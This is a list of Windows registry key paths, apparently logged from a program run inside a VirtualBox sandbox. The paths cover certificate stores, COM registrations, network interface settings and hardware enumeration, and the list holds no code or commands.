HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\DisableUnsupportedCriticalExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlCountInCert
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCountPerChain
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalByteCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\MaxAIAUrlRetrievalCertCount
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\CryptnetPreFetchTriggerPeriodSeconds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableWeakSignatureFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\ChainCacheResyncFiletime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1822907384-1282624486-319450072-1000\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\109F1CAED645BB78B3EA2B94C0697C740733031C\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs\A377D1B1C0538833035211F4083D00FECC414DAB\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\637162CC59A3A1E25956FA5FA8F60D2E1C52EAC6\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates\7D7F4414CCEF168ADF6BF40753B5BECD78375931\Blob
HKEY_CURRENT_USER\Software\Microsoft\SystemCertificates\Root\ProtectedRoots\Certificates
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CDD4EEAE6000AC7F40C3802C171E30148030C072\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EB6D578499B1CCF5F581EAD56BE3D9B6744A5E5\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4F65566336DB6598581D584A596C87934D5F2AB4\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\627F8D7827656399D27D7F9044C9FEB3F33EFA9A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\742C3192E607E424EB4549542BE1BBC53E6174E2\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\85371CA6E550143DCE2803471BDE3A09E8F8770F\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\91C6D6EE3E8AC86384E548C299295C756C817B81\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97817950D81C9670CC34D809CF794431367EF474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\97E2E99636A547554F838FBA38B82E74F89A830A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D23209AD23D314232174E40D7F9D62139786633A\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DE28F4A4FFE5B92FA3C503D1A349A7F9962A8212\Blob
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\UserenvDebugLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\GpSvcDebugLevel
HKEY_LOCAL_MACHINE\SYSTEM\Setup\SystemSetupInProgress
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\WinHttpSettings
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config\EnableInetUnknownAuth
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\EnableDhcp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableDhcp
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WINMGMTS\CLSID\(Default)
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Hostname
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Domain
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{D4781CD6-E5D3-44DF-AD94-930EFE48A887}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{9556DC99-828C-11CF-A37E-00AA003240C7}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{027947E1-D731-11CE-A357-000000000001}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\InprocServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\InprocServer32\ThreadingModel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0\win32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo1
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo2
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo3
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo4
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo5
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo6
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo7
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo8
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\LocalServer32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalServer32\ServerExecutable
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\DllSurrogate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyAuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\LegacyImpersonationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{1F87137D-0E7C-44D5-8C73-4EFFB68962F2}\LoadUserSettings
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\REGDBVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ServiceParameters
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RunAs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ActivateAtStorage
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\ROTFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AppIDFlags
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LaunchPermission
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\AuthenticationLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\RemoteServerName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\SRPTrustLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\PreferredServerBitness
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{69AD4AEE-51BE-439B-A92C-86AE490E8B30}\LoadUserSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_CAFE&SUBSYS_00000000&REV_00\3&267A616A&0&20\Class
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\CDROMVBOX_CD-ROM_____________________________1.0_____\5&106AF171&0&1.0.0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_7111&SUBSYS_00000000&REV_01\3&267A616A&0&09\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2617AEAE&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&0\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCIIDE\IDECHANNEL\4&2F42C713&0&1\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_2829&SUBSYS_00000000&REV_02\3&267A616A&0&68\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_80EE&DEV_BEEF&SUBSYS_00000000&REV_00\3&267A616A&0&10\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{6994AD04-93EF-11D0-A3CC-00A0C9223196}\##?#HDAUDIO#FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034#4&31E60982&0&0001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\DeviceDesc
HKEY_USERS\S-1-5-21-1822907384-1282624486-319450072-1000\Control Panel\International\LocaleName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Type
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HDAUDIO\FUNC_01&VEN_8384&DEV_7680&SUBSYS_83847680&REV_1034\4&31E60982&0&0001\Properties\{b3f8fa53-0004-438e-9003-51a46e139bfc}\00000007\00000000\Data
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#PCI#VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#*ISATAP#0001#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_AGILEVPNMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_L2TPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANBH#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIP#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_NDISWANIPV6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPPOEMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_PPTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#ROOT#MS_SSTPMINIPORT#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#Root#SYSTEM#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ClassGUID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ContainerID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Legacy
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\HardwareID
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CompatibleIDs
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{cac88484-7515-4c03-82e6-71a87abac361}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{cac88484-7515-4c03-82e6-71a87abac361}\#\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceHandlers
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\PerHwIdStorage\LastUpdateTime
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\CustomPropertyCacheDate
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\DeviceInstance
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceGroups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{eeab7790-c514-11d1-b42b-00805fc1270e}\asyncmac\Device Parameters\DeviceGroup
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\SYSTEM\0000\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\HTREE\ROOT\0\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{ad498944-762f-11d0-8dcb-00c04fc3358c}\##?#SW#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\#{78032B7E-4968-42D3-9F37-287EA86C0AAA}\Control\Linked
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_AGILEVPNMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_AGILEVPNMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_L2TPMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_L2TPMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{EEAB7790-C514-11D1-B42B-00805FC1270E}\ASYNCMAC\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SW\{EEAB7790-C514-11D1-B42B-00805FC1270E}\ASYNCMAC\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANBH\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANBH\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIP\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIP\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIPV6\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_NDISWANIPV6\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPPOEMINIPORT\0000\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\ROOT\MS_PPPOEMINIPORT\0000\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Phantom
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Driver
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\PCI\VEN_8086&DEV_100E&SUBSYS_001E8086&REV_02\3&267A616A&0&18\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\Capabilities
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\IDE\DISKVBOX_HARDDISK___________________________1.0_____\5&33D1638A&0&0.0.0\ConfigFlags
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\##?#IDE#DiskVBOX_HARDDISK___________________________1.0_____#5&33d1638a&0&0.0.0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}\DeviceInstance
